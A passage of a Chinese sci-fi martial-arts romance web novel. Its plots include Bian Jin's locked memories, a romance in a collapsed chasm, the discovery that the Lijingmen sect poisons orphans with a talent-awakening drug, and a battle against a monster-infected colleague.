心中有个声音在说:你懂的,我无法抗拒。
边烬闭上眼,笑了。
对,我无法抗拒。
可以想象,要是回到长安城,李渃元和黑魔方的本体应该都很好奇,她失踪的这三年做什么去了,必定会严查她的记忆。
为了不让记忆有任何外泄的可能,“计划模块”植入边烬身体里的同时,建立了记忆的禁区,计划模块连同这三年的记忆一起锁在禁区之中——任何人要是知晓,都有可能导致计划前功尽弃,她们得做好万全的准备。
记忆禁区由魏旷和那两只机械臂一起操刀完成。
模块领域,这是魏旷和沈扶苏最擅长的领域。
魏旷相信,即便是如今的沈逆,也无法破解这禁区。
边烬问魏旷:“沈扶苏本人一直都在城里,为什么她从不现身?还是说,她早就出现过?”
魏旷微笑道:“以后会在适合的时候告知边女郎的。”
边烬目光逗留在机械臂上,不再开口。
骨鞭她没有带回长安城,是为了让自己的失忆看上去更加真实可信。
甚至把已经修复的部分拆卸了。
无人深山,茫茫大雪。
自伤之后,边烬坐在雪地里,看着自己的血一点点滴入冰雪中。
沈扶苏和魏旷站在一旁。
魏旷道:“记忆禁区启动后,你会忘记从百万大军折亡之后发生的所有事。而保留了全程记忆的你,会以另一种意识潜伏在你的潜意识深处,随时都能出现,主导身体,在长安城活动。
“但也请注意出现的时机,若是让失忆之后的你发现另一个意识的存在,并不是件好事。请在恰当的时机与我们联系,我们也会给予边女郎力所能及的所有协助。
“当你失忆后,我们会用特殊的方法向丽景门放出消息,务必让她们找到你,押你回京。如今在帝国百姓的眼里你背负着叛国的罪名,你可能会被送入大理寺中,严刑拷问。希望边女郎能坚持住,我们也会尽快把消息传到沈逆那头。她应该会全力接你出大理……”
边烬:“不必多说。”
“好。记忆禁区将在十息之后启动。”
魏旷在倒计时,边烬闭上了眼睛。
之后,边烬顺利回到长安城,事情的发展和魏旷所说大致相同。
她们都猜到沈逆会救边烬出大理寺,会修复她,会给她新的玉璧。
却没想到这场沈逆主动讨来的指婚。
边烬一直作为旁观者来看着另一个自己和沈逆重逢。
起初,她是相信自己的。
即便失去了这三年的记忆,也不会把路走歪。
可是,她低估了沈逆对她的情感。
也低估了自己对沈逆的眷恋。
边烬一直在用逻辑行走于世,却不知道,爱是没有逻辑的。
她失算了。
终究是失控了。
情海翻涌,爱火焚情。
身后是欲海,前方是火山。
“别往回看。”
她对自己说。
“不然,如何走得了。”
……
长安城西市。
裂缝之下,遗忘之脉。
曾倾洛担心地面上同伴的安危,却被李极纠缠得无法脱身。
吻了又吻,曾倾洛皱着眉转过头,又被李极掰回来。
“你……”
曾倾洛握住她的手腕,施力。
“信不信我扭断你的手?”
“嗯,信,你扭吧。”
李极随意一说,继续吻她,从唇流连到耳朵,弄得曾倾洛缩起肩膀,一气之下真要扭她。
刚刚施力,李极就喊疼,眼泪说掉就掉。
“你不是让我扭?哭什么?喊什么?”
“我让你扭,也没说我不哭,不喊。”
“你,无赖……”
“嗯,我是。你说我是什么我就是什么。”
“所以,你这人嘴里没句实话,惯会骗人,说快死了也是骗我的。”
曾倾洛眼睛红红的,也不知是被李极气的,还是其他缘故。
李极瞧她紧咬着唇,又怨又气的样子,心被她弄得发烫发软,却不知如何哄人,左右找不到软话,只道:
“那,人都是要死的,早晚罢了,不算骗你。”
曾倾洛冷笑一声,说:“起来。”
“起不来。”
“李极。”
李极捂着腰侧的伤,“被你伤的那下太深了,起不来。”
“还不是你让我捅的。”
“我何时让你捅得这么……”
李极话未说完,曾倾洛抬手一掀,李极被她掀开。
李极:……
这会儿是真的痛到没力气了。
李极顺势倒在气囊上,剧痛之下还不忘摆个勾人的姿势。
“反正咱们横竖上不去,等着你师姐们来救你咯。等待的工夫,不若和我在这无人之处快活……”
话还未说完,裂缝之上传来一人的喊声:
“小倾洛——你听得到我的声音吗?”
李极:……
谁这么不长眼,扰人美事。
这嗓门也真够大的,能从那么高的地方传下来。
曾倾洛听出是第五阙的声音,回应道:
“第五姐姐——”
李极斜眼看曾倾洛,“叫别人姐姐这么顺口,我也大你好多岁呢,没听你喊我声姐姐。”
曾倾洛没理她。
方才,地面之上。
第五阙她们原本与那胡乔珏苦战纠缠,沈逆驾着她的载具参战后,胡乔珏被削掉了一只手臂,察觉到了危险,迅速跃上了远处的屋顶,兴味浓浓地记下沈逆的模样,暂且退去了。
胡乔珏一走,第五阙累得坐到地上,双手撑在身侧,一双长腿肆意撑长,对沈逆抱怨道:
“你不知道那玩意多离谱!逆逆,黑魔方不是又进化了吧?”
沈逆看着满地狼藉碎肢,在场的好几个S级天赋者联手都无法将她拿下。
回想刚才在远处看到胡乔珏战斗时的模样,居然能自如地将乱体变成想要的武器形态。
能模仿别人的招式,维持人类的形态,还知进退,评估风险……
沈逆:“进化大发了。”
贺兰濯的护目镜都裂了一道缝,伞又烂了一把,随手往后一抛,对着地缝抬抬下巴,提醒道:
“你们的小倾洛还在下面。”
第五阙:“对哦!”
第五阙立即跪到裂缝旁,往下喊。
沈逆:“怎么有这么深的裂缝?”
贺兰濯指着第五阙:“她捶的。”
第五阙喊完立刻反驳,“是我和那人不人兽不兽的玩意一起捶的!”
沈逆:“马车一起下去的?”
第五阙:“对。”
“那应该没事儿,马车会弹出气囊,除非从外太空摔下来,不然都不会危及生命。”
沈逆打开手掌,强光照入裂缝之中查看。
“这么深,下方像是原本就有修筑好的空间。”
第五阙:“我好像听到小倾洛回应的声音了。逆逆,你这个载具能直接下去吗?”
“能。”
贺兰濯道:“等下,李极好像跟着她一起下去了。”
沈逆:“啊?那咱们现在下去合适吗?”
第五阙:“什么意思?”
贺兰濯好像听懂了她的话,抬了抬眉毛,说:“她既然回应了,应该合适。”
沈逆:“行吧。”
第五阙:?
到底在说什么,怎么全世界都是谜语人?
沈逆的载具最多只能坐三个人,她让贺兰濯在上面等着,她和第五阙下去接曾倾洛上来。
她们刚往裂缝下去,两个黑影就跟了进去。
沈逆回头瞧,见是一直跟在李极左右的武卫,康逸和繁之。
康逸和繁之手臂上挂着一道铁索,正在快速下降。
第五阙:“用我把他们打发了吗?”
沈逆在中控上锁定了两人的位置,跟踪导弹随时能发射。
“先不用。”
很快,她们一同降到底,曾倾洛看到沈逆和第五阙,立刻唤了一声,迎上来。
她的腿已经自行修复了,支撑没问题,就是移动的时候还有点一瘸一拐。
曾倾洛走得太快,一副想要和李极迅速拉开距离的样子,除了让李极心有气恼之外,还让她自己脚下不稳,险些摔倒。
第五阙立刻扶住她,“没事吧小倾洛?摔着没有?我真不是故意的。”
曾倾洛:“我没事我没事,我知道你不是故意的。”
第五阙嘿嘿笑两声,借着沈逆载具发出的光,看到曾倾洛的耳朵上还有红痕,说:“耳朵受伤了?”
第五阙就是随口一问,曾倾洛立刻明白她说的是李极的咬痕。
“不……没。”
曾倾洛回答得磕磕巴巴。
沈逆一边留意着李极那边的动向,一边欣赏着这二位的牛头不对马嘴。
康逸和繁之将一件穿戴式安全套索穿在李极身上,挂好了上升绳索,就要走时,沈逆向李极打了声招呼:
“见过殿下。真意外啊,怎么和我侯府的马车一块儿掉下来了?”
李极懒得多说,不想沈逆看她笑话。
她不想多说,繁之不服,擅作主张,替她反唇相讥道:
“我们殿下刻意来搭救曾女郎,险些丧命,你们还不知好歹……”
李极立刻打断他道:“谁让你废话的,上去!”
繁之年纪轻轻,完全不懂情感之事,多嘴被训了,立刻噤了声。
曾倾洛站在第五阙和沈逆身后,淡淡地投过来一道目光。
李极浑身的傲气被她瞧上一眼,竟成了可怜狗。
就要撤回对视的目光,忽然有一样熟悉的东西从眼底晃过。
第五阙蹀躞带上挂着一只绿莹莹的玩偶,十分眼熟。
李极目光黏在它身上移不开。
她想起了护城河的夜,和曾倾洛的初遇。
那时她的确已经锁定了这孤独的小娘子,知晓这样的小孩儿缺爱,最是好操控。无论后来怎么否认,当时她的确是一门心思想要把曾倾洛勾到手,用做刺入侯府,掌控沈逆的手段之一。
甚至都不觉得这个小探子会有多重要,更没想过难以驯服。
在她想要随手布下棋子的那一夜,在油画般的河边,在醉汉狂放地吟诵着诗歌的寒冬,于浓黑之中,看到了沾着一身污秽,眼泪却如珍珠的少女。
少女扬手要把丑丑的玩偶丢入河中,鬼使神差间,她接了过来。
少女诧异地回眸,青涩的眉眼布满愁容和意外,小小年纪,居然已经习惯了皱眉,眉心都留下一道浅痕。
未完的故事,蒙尘的画,破碎的艺术品,最是让她心软。
她和曾倾洛第一次相遇的种种,依旧刻在她记忆中。
即便是夜不能寐,回看无数次床笫交欢的细节之后,总是要再回味一遍护城河边垂泪的少女。
无法否认,就算在拉扯间有过乏味,布满了欺骗,更交替占据上风的时候。但最开始被吸引的,的确是李极。
那只丑丑的虫虫玩偶,迄今还放在李极的枕边。
可此刻,未完的故事狗尾续貂,蒙尘的画落入庸人之手,破碎的艺术被粗糙黏合后涂上了俗不可耐的颜色。
原来那夜她哭得梨花带雨,全是为了这个第五阙?
又是这第五阙。
一想到对她冷淡抗拒的曾倾洛,居然为了这人哭,妒火中烧,李极忽然又一阵猛咳,嘴角溢出血沫。
康逸和繁之同时道:“殿下!”
李极捂着心口去看曾倾洛,曾倾洛完全没往她这儿瞥,正和第五阙说话,嘴角还带着笑。
此刻曾倾洛在和第五阙说什么,李极已经完全听不到了,脑子里嗡嗡作响,心口更是火辣辣地痛。
沉着脸凶了句“还不走”,康逸和繁之这边拉了铁索,带她上升。
听到铁索的声响,曾倾洛跟着第五阙和沈逆一同看向李极的方向。
李极闭上眼,不去看她。
120-130
第121章
载具载着沈逆她们回到地面时,一身血的路苍梧正在整军。
左骁卫不愧是禁军之中最悍勇的一支,死伤惨烈,也未见他们面容有何改变。
路苍梧让旅帅分配任务,该收尸,该收拾、记录现场的也去执行。
沈逆检查了曾倾洛的膝盖,确定还能修复,便暂时安下心,回头唤了一声“路将军”。
路苍梧绢甲破破烂烂,脑袋被削开了一道,血流不止,随身携带的止血喷雾喷了好几层,根本没用。
正有些烦躁,懒得管了,听到沈逆唤她。
“路将军伤得不轻,得立刻缝合,不然这血一时半会儿止不住。”沈逆道,“若是放心,我来为将军处理。”
路苍梧微笑道:“谁不知侯君医术精湛,有侯君为某缝合,是某的荣幸。”
路苍梧不是个热闹人,性子偏冷,平时话也不多。不过行走官场这么多年,场面话怎么也会说些。更何况沈逆一番好意,还是曾倾洛的师姐兼上峰,她哪有不承情的道理。
沈逆熟练帮她缝合完,还从载具里摸出一瓶消除疤痕的特效药。
“这罐用完,保证半点疤痕都看不着。”
路苍梧身为武将,身上的伤就没好全过,哪会在意留不留疤的。
瞧这机械师长得这般漂亮,唇红齿白细皮嫩肉的,路苍梧笑着感谢,收下了。
两人又闲叙几句。
沈逆想套一套路苍梧对胡乔珏的看法,毕竟她全程在和胡乔珏对战,又是身经百战的宿将,肯定会看得更深更远些。
“侯君是想听真话么?”
路苍梧点了根电子烟,烟草味和淡淡的薄荷气味弥漫在充满血腥的空气里。
沈逆:“自然。”
路苍梧舒服地呼出一口烟,语气未变。
“长安城要完了。”.
窦璇玑和房判今日休假,房判说想去吃一家老早就想吃的西北菜馆,窦璇玑没兴趣,房判就自己去了。
窦璇玑赴了李司的约。
来到城南一处偏僻的茶斋,李司说这是她一处小别院,没别人。到了门前把漂亮的小脸蛋往门禁系统上一贴,门就能开。
窦璇玑到门前扫脸,还真直接开门了。
窦璇玑在一处浮桥尽头的亭子里见到了李司,第一句就问她:
“你什么时候弄到我的人脸识别的?”
李司慢悠悠地倒一壶琥珀色的茶。
“这对机械师来说算事儿?”
自从她从沈逆那边学到更多的黑客技术后,灵感爆棚,忍不住这摸一把那敲一下,效果很不错。
窦璇玑正要再骂她,李司抢先一步道:“别骂了,说正事儿。丽景门‘正常死亡’的事儿我查到一点头绪。”
窦璇玑:“你查?”
“呵,是啊,你放着我这个金吾将军不用,非要去找你侯君姐姐。那你侯君姐姐还不得找到我这儿来?”李司不爽道,“下次能不能直接来找我?你和我很生分么,还得让臭狐狸转达。”
窦璇玑轻咳了一下,其实是因为她银子还没还完,欠李司的实在太多,不想再麻烦她。
不过这种话不能说,只怕说了之后会让李司更生气。
窦璇玑:“这茶我能喝么?”
李司觑她,“还学会转移话题了?喝吧,这一壶好茶不就是为你准备么?”
窦璇玑拿起茶杯,一双刀眼从茶杯上透过来,“凶死你算了。”
李司把一些档案投到桌面上,“论凶比不过你。”
这些都是内廷的绝密文件,李司用自己的权限再加上一点点小手段才弄到的。
李司道:“我筛选了一下近十年来丽景门非公事死亡的名单,又去掉了有明确疾病档案的人,剩下的便是这二十六人。你有没有发现她们有个共同的特点?”
窦璇玑把二十六人的档案反复看了几遍,抬起头:
“她们……在进入丽景门之前,都没有任何天赋。”
“对。”
李司继续给她倒茶。
“我接着往下查,这二十六人之中有十五人能查到家族的信息。你知道,天赋的觉醒方向和高低与基因密不可分——虽然这规律很烦人,却是事实。然后,我追查了这十五人的家族,近亲中极少有天赋者,极为少数的天赋者中只有一个C级的机械天赋。也就是说,这二十六人很有可能在进入丽进门之前都是一辈子无法觉醒天赋的人。然后,一进丽景门,不到一年的时间,她们陆陆续续全都觉醒了,还都是B级以上的高级天赋。为丽景门当牛做马,再然后,在不到一年和十年之间的某日,无缘无故暴死,毫无规律可言。”
窦璇玑脸色渐渐发白,思绪也有点乱。
“这……说明什么?”
“除非丽景门是个绝世风水宝地,能让完全没天赋的人一入门齐刷刷觉醒天赋,不然的话只有另外一种可能——有人用了某种不知道的暴力手段,强迫她们觉醒。”
窦璇玑嘴张了张,一时无言。
李司讥笑道:“怕是瞎子四处网罗没耶没娘的孤女,施以恩惠,带入丽景门,之后用不知名的手段让她们觉醒天赋。但这种非自然的觉醒对身体的伤害极大。这二十六个人之中,进入丽景门后死亡的时间最长的为十年,最短的不到一年。无论她们是因何而死,作为没有家族庇护的孤儿,死了便死了,没人会去追查。瞎子一句话,也没人敢提。所以一直都没被揭到明面上来。”
窦璇玑呼吸急促,半个字都应不上来。
李司看她这副模样,忽然想到了什么,握住她的手腕急问道:
“你,在入丽景门之前有天赋吗?!”
窦璇玑任她握着,心不在焉道:“我,是在入丽景门之前一个月自己觉醒的天赋。”
李司大大地松了口气,“吓死我了,那你这副模样做什么!”
窦璇玑双手交握在一起,攥得指骨发白。
李司又问:“可是,你都觉醒了天赋,为什么还要跟着瞎子来这倒霉的丽景门?出去自己当个赏金猎人都比做丽景门的女官强吧。”
“当时,只是……”
李司想了想,酸溜溜地说:“哦……想报答你们门主的恩情吧,行,知道了。”
窦璇玑的思绪还停留在天赋觉醒这件事上。
她是自己觉醒的,毫无疑问。
可是,可是……
紧紧相扣的冰冷掌心里,忽然钻进来一团温热。
李司皱着眉把她双手分开,声音软软的,心疼道:
“怎么回事啊,把自己捏成这样……”
李司的手有点粗糙,但很干燥很温暖。
一丝丝暖意从掌心传到窦璇玑的心尖上,让她紊乱的心跳渐渐平复。
窦璇玑将手慢慢收回,“我……我要回丽景门一趟。”
李司大概能猜到她因为什么这般魂不守舍,一双明亮的眸瞧着她,担忧道:
“我跟你一起去。”
李司的存在,让窦璇玑感受到了一种说不清的安全感,本能地想要依赖她。
但这件事,先不好让别人知晓。
“不用了,我自己去。”
李司也没勉强,点了点她弯曲的指骨说:“有事儿联系我。我随时为你待命。”.
窦璇玑回到丽景门大门口,正好撞见房判。
房判手里拎着个外卖袋,开开心心道:“给你带回来的点心!他们家真的好吃,你一定得尝尝。赶紧趁热吃,凉了不好吃了。”
窦璇玑也是服了她满脑子都是吃,拉着她到寝屋里,外卖袋往桌上一放,往院子里看:
“是我的错觉么?怎么没人?”
往外走,见院内冷冷清清,安静得出奇,不是伤员就是刚入门的小孩儿,中坚力量全走了。
“有什么紧急任务?”
房判打开任务系统查看。
“的确有,西市有突发危情。妈呀,与鲲鹏级异兽同等的危情,全去增援了。”
窦璇玑纳闷,“什么叫同等的危情?意思是……不是异兽?那能是什么?”
两人正说着话,忽然听见一阵猛烈的咳嗽声。
窦璇玑思绪一紧,立刻朝咳嗽声寻过去。
有个在扫落叶的小娘子正撑着扫把咳得天昏地暗。
窦璇玑认得她,去年才入门的小孩儿,名叫百里,听说是门主从城外破败的村子里捡回来的孩子。
百里咳得难受,捶着胸口,想用这种方式止咳。
窦璇玑问她:“你怎么咳得这么严重?”
百里喘了两下,“就,我也不知道,咳咳咳……普通的伤寒吧?”
窦璇玑:“从什么时候开始咳的?”
“入、入夏开始的?没事的窦队正,去年我也这样,夏天过完就好了。”
窦璇玑一把抓住她的胳膊问道:“你在入丽景门之前,是不是没有天赋?”
小孩儿没少因为没觉醒天赋的事儿自卑,急声道:
“我现在有了啊!喝了门主给我的药之后就有了!”
窦璇玑呼吸都凝了一刻。
“门主给你喝的药……什么药?”
小孩儿被窦璇玑这副模样吓得不轻,支支吾吾道:“我,我都喝完了。”
一看就知道她在撒谎。
房判不知道窦璇玑在做什么,但估计是查到了什么事儿,反正先帮她把小孩堵了再说。
正好现下门内无人,她俩把百里堵到偏僻的角落。
窦璇玑:“你最好给我说实话。”
百里吓得腿有点抖,说:“我,其实只喝了半瓶,还留了一半。我想留给我妹妹……她很能干的,就是没有天赋,所以没办法找到好的差事。我,我只想给她谋个前程。”
窦璇玑:“喝了药一定能觉醒天赋?”
房判忽然搭腔,“好像是有这么一回事啊。”
窦璇玑听到她这句话,心猛地往下坠,脑门上起了一层冷汗,对百里说:“剩下的半瓶,给我。”
百里:“啊?可是……”
窦璇玑抽出刀,“给我!!”
百里被吓得够呛,只能去房里翻出来,依依不舍地往外递。
窦璇玑一把抢过来,拉着房判就往寝屋去。
门一关,窦璇玑用微微发颤的声音问房判:
“你是……九年前加入的丽景门?”
“也快十年了吧。”
“那,是不是……进了丽景门之后才觉醒的天赋?这药,你也喝过了?”
“有点像,不过那时候门主给我的是营养液。”
房判看一眼外卖袋,没扎好,去帮窦璇玑绑得严实些,不然真得凉了。
“你是不是查到什么了?”
窦璇玑宛若被冰水迎头浇下,冻得发颤。
昂贵的营养液,能觉醒的药,都只是量身定做的谎言,包裹着剧毒的糖果。
欺骗了一个又一个努力想在这世间活下去的小孩。
房判在扎口袋的手忽然被窦璇玑握住。
房判一回头,见窦璇玑双眼通红,眼泪正控制不住地往下落。
房判“哎”了一声,立刻转身面朝着她,慌张道:“怎么,怎么哭了……”
她俩搭档这些年,房判无数次见她流血。
流泪,这是破天荒的第一次。
找了半天也没见着纸在何处,房判只能笨拙地用手背为她拭泪。
“怎么啦,怎么还哭鼻子了?嗯?”
窦璇玑摇摇头,垂着脸无声地哭,停不下来。
想起口鼻冒血死亡的同僚,房判心里有了些不太妙的预感,心里也乱成一团。
可窦璇玑的眼泪才是最紧要的事儿,来来回回只会问她“怎么了”,对自己的嘴笨无可奈何。
手足无措,最后只好抱抱她,拍拍她的后背,傻傻地安慰道:
“璇玑,不哭了,不哭了好不好……”
窦璇玑无法自控地哭了一会儿,缓了又缓,抹掉眼泪。
现在不是悲伤的时候。
她们找到了药,寻到了源头,或许还有挽回的办法。
对,一定有挽回的办法!
窦璇玑用袖子重重抹了两下眼睛,努力憋住眼泪,不哭了。
房判还是很不放心她,但见她好像也不太想说的样子,也不再追问,碰了碰她的手背,道:
“眼睛好红啊,难不难受?”
窦璇玑摇头,她哪有这么脆弱。
拿上半瓶不明液体,打算立即去找一趟沈逆。
不知道她能不能救房判一命。
窦璇玑拉上房判,“你也跟我一起去。”
刚出寝屋门,却见一女人站在门口。
“急急忙忙的,二位这是要去哪儿啊?”
是丹樱。
却又有点不像她。
颞颥两处突起,整张脸被拉宽了似的,怪得很。
窦璇玑正想说“与你何干”,忽然眼前一黑,巨大的冲击力撞向她和房判,还没看清袭击她们的究竟是什么,戴在手腕上的金属手环狂震,瞬息间张开一张巨大的能量盾,护住了窦璇玑和房判。
乱体往四面八方分散,掀飞了丽景门破旧的小屋。
眨眼间,丽景门没了一半。
灰尘泥沙俱下,断壁颓垣间,丹樱轻佻地“哦?”了一声。
“没想到啊,还藏着这么厉害的护具呢?”
房判,甚至窦璇玑本人都没反应过来发生了什么事。
身后的房屋,连带着相连的一排寝屋,全都变成了废墟。
恐怖且让人无法反应的伤害,是丹樱用手里那把黑色的刀斩出来的?
记得她只是个B级精神天赋者啊,何时有了这么强大的战力?
那,救了她俩一命的是……
窦璇玑看向灼热的手腕。
是李司送给她金属手环,正在冒着烟,明显已经报废了。
——保命神器。可以为你抵挡一次S级的伤害。
当时窦璇玑勉强收下,戴上后倒也没摘了。
没想到会在这么出其不意的时候,救了她和房判一命。
房判拽窦璇玑一把,提醒道:“她身上有黑魔方的乱体!”
被房判这么一提示,窦璇玑也看出来了。
丹樱颞颥突起的事物,的确是黑色的金属物,黑魔方的乱体。
而刚才袭击她们的刀,亦是乱体。
就连丹樱的瞳孔,在颤抖的同时,也向着周围散出不规则的黑色波纹。
第122章
恐怖的压迫感之下,默契的搭档二人往左右两侧横跳。
窦璇玑抽出电刃的同时,房判落到了更远的房顶上,拉满弓。
沈逆为窦璇玑量身打造的这把电刃,电力超出想象的强劲。
紫电在丽景门中流荡,所到之处轰起蓬勃的电花,暴烈声震得地面狂颤。
丹樱游走在电流的缝隙间,脚步轻盈,如鬼魅般难以捕捉。
窦璇玑的肉眼竟有些跟不上她的动作。
“后面!”
站在房顶上的房判大喊一声,在喊之前手里的爆破箭毫不犹豫地射出。
丹樱已经神不知鬼不觉移步到窦璇玑身后,乱体拧成的刀刃寒气都喷中窦璇玑的后颈了,激得她头皮发麻。下一息,被房判的箭逼退。
丹樱其实已经发现房判在远处放冷箭,躲了一下,那箭的来势却像预判了她躲避的轨迹,恰恰好好偏了一点,正中躲避之后的她。
丹樱的心口被炸开一个大洞,冒着烟惊讶地看向房判,笑道:
“原本以为你是个只会跟在窦璇玑身后的废物,没想到还有些本事……”
话音未落,窦璇玑一刀斩下她的脑袋。
“废物说谁废物呢?”
窦璇玑这一下气狠了,力道过重,手有点抖。
丹樱的脑袋在地上滚了几下,正好落在躲在墙角偷看半天的百里面前。
脑袋翻滚的最后一下正好面部朝上,百里哆哆嗦嗦地看向那颗诡异的脑袋。断口处完全没有血。
原本丹樱的脸庞上还有些凝滞的神色,忽然眼珠下转,瞪向百里。
“这还藏着个人呢?”
与此同时张开嘴,口中就要吐出乱体。
窦璇玑心想,糟了,这小孩没什么实战经验,还遇上这么个怪物,命得交待在这儿。
没想到百里吓得大叫一声“娘”,惊恐万状之余什么也顾不上,闭着眼狠狠一脚踹出去。
这一脚正中丹樱的脸,脑袋被踢得在空中旋了一整圈,最后被乱体扒回了脖子上。
丹樱的脸上多了个醒目的脚印以及一道鼻血。
丹樱:……
窦璇玑:……
行吧,莽有莽的妙。大力出奇迹。
这小孩年纪虽小,到底也觉醒了B级战斗天赋。
百里看她脑袋说断就断,说合就合,腿更是软得发颤。
“她,她怎么这样了?”
窦璇玑:“小鬼,她不是我们同类了,看到乱体了没有?她就是只人形异兽。”
百里当然看见了,要是没看见也不至于吓得慌不择路,居然敢空腿踢它。
窦璇玑:“小鬼,不想死就逃远点。”
百里:“窦队长,我好像和你是同年的。”
窦璇玑:……
百里还心心念念那半管可以改变她妹妹人生的药,即便害怕,还是抽出了长矛,指向丹樱,问窦璇玑:
“我我我如果杀了它,你能不能把药还给我?”
百里话还未说完,丹樱跺脚,下一息乱体蓦地从数丈开外的百里脚下的地里飞蹿出来。
百里:!!
要不是窦璇玑一脚把她踢出了丽景门,躲过一劫,此刻她已经肠穿肚烂了。
百里跌在地上,半天才反应过来发生了何事,惊恐回看,窦璇玑已经和丹樱缠斗起来。
房判一边瞄准一边对百里说:“去求援啊,笨蛋。”
百里连连“哦”了好几声,站起身拔腿就要跑。
“药别喝了。”房判嘱咐一句,“是毒药。”
百里听得倏然发怔,本能地反驳一句“怎么可能”,跑两步回头看一眼,越想越心慌,之后发了疯般狂奔。
丽景门的中坚力量全支援西市去了,她们完全没想到就在丽景门中,也有一只迭代出了高智慧的异兽。
没人知道丹樱为何成了副模样,更不知她何时感染了黑魔方病毒,但能非常直接地感受到她的战力提升了好几个等级。
一个C级精神天赋者,居然能在战力上碾压A级战斗天赋的窦璇玑,必定是借助了黑魔方的力量。
幸好丹樱不是A级战斗天赋顶格的胡乔珏,不然这会儿窦璇玑和房判已经没命了。
窦璇玑的天赋在A级里算是中游,主打一个敢打敢杀,即便实力不占优势她也从来不知道什么叫怕。
除了本身性子烈,更是因为她知道房判的成长非常迅速。
房判穷归穷,眼睁睁地看着这世道越来越难行走,她也想给自己改装升级一下。前两个月她控了控口腹之欲,再熬夜写了一大堆食肆点评,赚了一小笔银钱,全用在自身的改造上。
加上苦练的射箭技法,配合窦璇玑那把威力翻番的电刃,以及几位留在丽景门内养伤的伤员时不时援助一把,能勉强和丹樱战个平手。
双方从地上战至屋顶,毁了一排的屋顶之后又砸回地面。
窦璇玑肩膀被削出一道血口,她完全没被这一下逼退,反而直杀到丹樱面前,电刃往心口处切。
丹樱冷笑着用乱体搅住电刃。
“你的套路有点无聊。”
“是么?”
窦璇玑笑容刚起,丹樱的心口就被她刺穿了。
丹樱疑惑地低头看。
那把电刃分明还夹在乱体内,怎么……
电刃有两把。
窦璇玑也是后来才发现,电刃能拆开。
若是一把受困,可以从中取出另一把影子匕首,杀敌不备。
巨量的电流涌入丹樱的心口。随后电刃上挑,刀从肩头切出,斜着斩穿她的身子时,窦璇玑连退三步,房判三箭齐发,又一次预判了丹樱的逃跑路线,统统命中目标。
震耳欲聋的爆破声中,无数乱体被炸得漫天飞溅。
窦璇玑立刻躲远,跃上房顶,和房判击掌,兴奋地笑道:
“行啊你,什么时候变得这么厉害了?”
这一拍房判疼得倒吸一口气。
窦璇玑这才发现,房判的手上全都是血。
拉弓拉得太快太狠,手早就受不了,房判整个人都处于过载的边缘。
房判昏沉沉的就要站不住,还在嘿嘿笑:
“咱两现在是不是挺配了?”
房判的话让窦璇玑一个恍惚,想起当初两人刚搭档那会儿。
当时房判知道窦璇玑的脖子是被前任搭档砍断的,又听闻窦璇玑脾气不好,很难相处,谁都不想和她搭档。
而房判是最好说话,最好拿捏的那个,正好她也死了搭档,便把窦璇玑推给了她。
窦璇玑凶名在外,房判第一次见她的时候,她正坐在门槛上玩刀,嘴角一块醒目的结痂。
房判有点儿怕这刺儿头,思前想后半天,小心翼翼坐到她身边,用自认为最活泼的机械音打趣道:
“我被人划了脸,你被人砍了脖子,咱们好配哦。”
说完之后,一阵安静。
就在房判无比尴尬之际,窦璇玑抬起阴沉沉的脸,嫌弃道:“谁和你配,一边去。”
房判:。
好的,谢谢你结束这场尴尬。
果然很难相处。
房判都做好了和这刺儿头斗智斗勇的心理准备了,没想到,窦璇玑和她想的完全不同。
嘴上嫌弃她只知道吃,却还愿意等她吃完饭才走。
说她笨手笨脚准心不稳,却会陪她彻夜练习射箭。
就算被搭档背叛过,窦璇玑依旧愿意相信这位新搭档,将自己的后背自己的命交给房判。
房判对窦璇玑有种说不出的情感。
像只漂泊的小破船,找到了愿意让她停靠的岸。
就在房判打算和窦璇玑好好搭下去,搭一辈子的时候,窦璇玑向她问了第一个问题。
窦璇玑:“你的脸也是被搭档划的?”
房判开朗道:“不是,是我太菜,被敌人划的。”
窦璇玑:“?我能换个靠谱的搭档么?”
房判:……
今天的窦璇玑也很难相处呢。
虽然难相处,却是个嘴硬心软,非常可靠的搭档。
不可靠的反而是房判她自己。
房判总觉得自己太弱了,窦璇玑在成长,而自己一直止步不前。
想一直当窦璇玑的搭档,就得保护得了她。
房判夜夜苦练,一心想让自己变得更强。
如今被窦璇玑夸“厉害”,房判开心地想,我应该是做到了吧……
脚下飘来一阵雾。
转眼间,浓雾四起,窦璇玑一转眸,房判不见了。
“房判?”
窦璇玑电刃不离手,想要去找房判,发现狼藉的丽景门变成了一片冬日森林。
呼吸间白气腾腾,她不知何时走进了深山老林。
风里裹着雪粒,狠狠打在窦璇玑身上。
窦璇玑警觉地观察周围。
是催眠。
丹樱还没死。
丹樱有精神天赋,但C级天赋只能潜移默化,不可能造成现下这种强效精神干预。在黑魔方的作用下,她的精神力恐怕直接飞升至A级。
窦璇玑一边走,一边用刀刃在树干上划一刀,冷笑道:
“这可比觉醒的毒药还要高效啊。”
握着电刃的手掌沁了些冷汗,视野被风雪和树木枯枝遮蔽和影响着。
丹樱肯定想偷袭。
注意力高度集中,感知全面打开,从任何地方来的偷袭窦璇玑都有信心接住。与此同时,她在划过的树干上留下了电刃的部分能量,布下能量点。
只要丹樱一出现,所有的能量点会串成一张巨大的电网,抵挡伤害的同时可以让丹樱无从逃遁。
风向忽然变了。
浓雾中出现一个人影。
窦璇玑还以为丹樱会偷袭,没想到竟是正面现身?
电网蓄势待发,却在下一刻看清了那人影。
是房判。
用爆破箭指着窦璇玑的房判。
窦璇玑动作一顿。
“快走……”
房判的双臂发着颤,像是在用尽全力控制着自己。
“我马上就要……失控了……”.
李极被带回帝国客栈顶层。
医师过来帮她处理伤口,生怕把这难伺候的安王弄痛了,为了保住小命,小心翼翼到头皮都绷得紧紧的。
可腰间的伤口又裂了,还有一些擦伤、摔伤,处理起来很不容易。
一不小心还是失了手。
心里暗骂一声自己蠢如猪,正等着安王训斥。
半天了,却无动静。
缓缓抬头,见李极双眸失焦,不知道在想什么,连清创的痛楚都没让她回过神。
一阵脚步声由远及近。
蔺咏铭把一张请柬放在李极身边的矮案上。
李极还保持着方才的神情和姿势,仿佛根本没发现有个大活人走到她面前。
蔺咏铭:“殿下去哪儿了?”
李极还是没看她,“给你订棺材去了。”
蔺咏铭嘴角抽了抽,想起向知番的告诫,忍着气恼,直言不讳道:
“有件事需告知殿下。有人潜入狸力三号坑,挖走了大量星河铬素。负责守卫狸力三号坑的是白家人。白家人没有尽心守卫,事发后也未及时上报,加上上个月初有疑似丽景门的人出入白府,我们有理由怀疑,白家家主已经被李渃元策反。若是白家被策反,睦州恐生动荡,唯有联合第五家的势力才可化险为夷。殿下——”
